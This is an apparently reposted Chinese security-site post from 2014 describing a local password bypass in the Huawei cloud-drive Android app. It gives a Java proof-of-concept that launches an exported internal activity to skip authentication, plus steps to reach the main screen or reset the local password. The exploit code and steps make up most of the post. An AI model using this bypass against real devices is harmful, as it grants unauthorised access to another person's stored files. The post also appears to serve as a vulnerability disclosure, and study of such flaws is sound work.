华为网盘android客户端本地密码绕过(非root也可以)下载

来源:黑吧安全网 浏览:1128次 时间:2014-04-28
做网站找雨过天晴工作室

华为网盘android客户端本地密码绕过

1.root的话直接看私有文件就可以了,做个简单加密嗮。

2.非root的话直接启动其他activity即可绕过认证,本地认证只是简单topActivity。

poc如下

 

public void activityStart(View v) {
ComponentName componetName = new ComponentName("com.huawei.dbank.v7",
"com.huawei.dbank.v7.ui.newbietask.NewbieTaskActivity");
try {
Intent intent = new Intent();
intent.setComponent(componetName);
startActivity(intent);
} catch (Exception e) {
Toast.makeText(getApplicationContext(), "Not found", 0).show();
}
}

3.启动com.huawei.dbank.v7.ui.newbietask.NewbieTaskActivity这个activity组件再返回即可进入主界面。

4.启动设置本地的密码的activity:com.huawei.dbank.v7.ui.setting.LocalPassWordInitActivity,即可重置本地密码